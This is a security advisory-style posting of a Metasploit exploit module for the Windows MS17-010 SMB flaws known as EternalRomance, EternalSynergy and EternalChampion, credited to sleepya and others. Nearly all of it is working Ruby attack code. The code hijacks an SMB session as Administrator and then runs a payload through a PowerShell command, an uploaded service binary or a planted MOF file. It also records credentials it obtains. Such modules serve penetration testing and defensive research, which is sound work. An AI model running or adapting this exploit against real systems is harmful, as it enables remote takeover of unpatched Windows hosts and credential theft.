Windows MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

2018.02.06
Credit: sleepya
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Windows XP systems that are not part of a domain default to treating all # network logons as if they were Guest. This prevents SMB relay attacks from # gaining administrative access to these systems. This setting can be found # under: # # Local Security Settings > # Local Policies > # Security Options > # Network Access: Sharing and security model for local accounts class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010 include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution', 'Description' => %q{ This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where primitive. This will then be used to overwrite the connection session information with as an Administrator session. From there, the normal psexec payload code execution is done. Exploits a type confusion between Transaction and WriteAndX requests and a race condition in Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a named pipe. }, 'Author' => [ 'sleepya', # zzz_exploit idea and offsets 'zerosum0x0', 'Shadow Brokers', 'Equation Group' ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'thread' }, 'References' => [ [ 'AKA', 'ETERNALSYNERGY' ], [ 'AKA', 'ETERNALROMANCE' ], [ 'AKA', 'ETERNALCHAMPION' ], [ 'AKA', 'ETERNALBLUE'], # does not use any CVE from Blue, but Search should show this, it is preferred [ 'MSB', 'MS17-010' ], [ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests [ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests [ 'CVE', '2017-0147'], # for EternalRomance reference [ 'URL', 'https://github.com/worawit/MS17-010' ], [ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ], [ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ], ], 'Payload' => { 'Space' => 3072, 'DisableNops' => true }, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Automatic', { } ], [ 'PowerShell', { } ], [ 'Native upload', { } ], [ 'MOF upload', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 14 2017' )) register_options( [ OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]) ]) register_advanced_options( [ OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']), OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil]) ]) end def exploit begin eternal_pwn(datastore['RHOST']) smb_pwn() rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e print_error("#{e.message}") rescue ::Errno::ECONNRESET, ::Rex::Proto::SMB::Exceptions::LoginError, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e print_error("#{e.class}: #{e.message}") rescue => error print_error(error.class.to_s) print_error(error.message) print_error(error.backtrace.join("\n")) ensure eternal_cleanup() # restore session end end def smb_pwn() case target.name when 'Automatic' if powershell_installed? print_status('Selecting PowerShell target') powershell else print_status('Selecting native target') native_upload end when 'PowerShell' powershell when 'Native upload' native_upload when 'MOF upload' mof_upload end handler end # TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to # be moved into a mixin def powershell_installed? share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}" case datastore['SHARE'].upcase when 'ADMIN$' path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe' when 'C$' path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe' else path = datastore['PSH_PATH'] end simple.connect(share) vprint_status("Checking for #{path}") if smb_file_exist?(path) vprint_status('PowerShell found') psh = true else vprint_status('PowerShell not found') psh = false end simple.disconnect(share) psh end def powershell ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME'] command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") end # Execute the powershell command print_status("Executing the payload...") begin psexec(command) rescue StandardError => exec_command_error fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") end end def native_upload filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) serviceencoder = datastore['SERVICE_STUB_ENCODER'] || '' # Upload the shellcode to a file print_status("Uploading payload...") smbshare = datastore['SHARE'] fileprefix = "" # if SHARE = Users/sasha/ or something like this if smbshare =~ /.[\\\/]/ subfolder = true smbshare = datastore['SHARE'].dup smbshare = smbshare.gsub(/^[\\\/]/,"") folder_list = smbshare.split(/[\\\/]/) smbshare = folder_list[0] fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1 simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct') else subfolder = false simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") fd = smb_open("\\#{filename}", 'rwct') end exe = '' opts = { :servicename => servicename, :serviceencoder => serviceencoder} begin exe = generate_payload_exe_service(opts) fd << exe ensure fd.close end if subfolder print_status("Created \\#{fileprefix}\\#{filename}...") else print_status("Created \\#{filename}...") end # Disconnect from the share simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") # define the file location if datastore['SHARE'] == 'ADMIN$' file_location = "%SYSTEMROOT%\\#{filename}" elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/ file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}" else file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" end psexec(file_location, false) unless datastore['SERVICE_PERSIST'] print_status("Deleting \\#{filename}...") #This is not really useful but will prevent double \\ on the wire :) if datastore['SHARE'] =~ /.[\\\/]/ simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") begin simple.delete("\\#{fileprefix}\\#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}") end else simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") begin simple.delete("\\#{filename}") rescue XCEPT::ErrorCode => e print_error("Delete of \\#{filename} failed: #{e.message}") end end end end def mof_upload share = "\\\\#{datastore['RHOST']}\\ADMIN$" filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" # payload as exe print_status("Trying wbemexec...") print_status("Uploading Payload...") if datastore['SHARE'] != 'ADMIN$' print_error('Wbem will only work with ADMIN$ share') return end simple.connect(share) exe = generate_payload_exe fd = smb_open("\\system32\\#{filename}", 'rwct') fd << exe fd.close print_status("Created %SystemRoot%\\system32\\#{filename}") # mof to cause execution of above mofname = rand_text_alphanumeric(14) + ".MOF" mof = generate_mof(mofname, filename) print_status("Uploading MOF...") fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct') fd << mof fd.close print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}") # Disconnect from the ADMIN$ simple.disconnect(share) end def report_auth service_data = { address: ::Rex::Socket.getaddress(datastore['RHOST'],true), port: datastore['RPORT'], service_name: 'smb', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: self.fullname, private_data: datastore['SMBPass'], username: datastore['SMBUser'].downcase } if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' credential_data.merge!({ realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: datastore['SMBDomain'] }) end if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ credential_data.merge!({:private_type => :ntlm_hash}) else credential_data.merge!({:private_type => :password}) end credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { access_level: 'Admin', core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL } login_data.merge!(service_data) create_credential_login(login_data) end end


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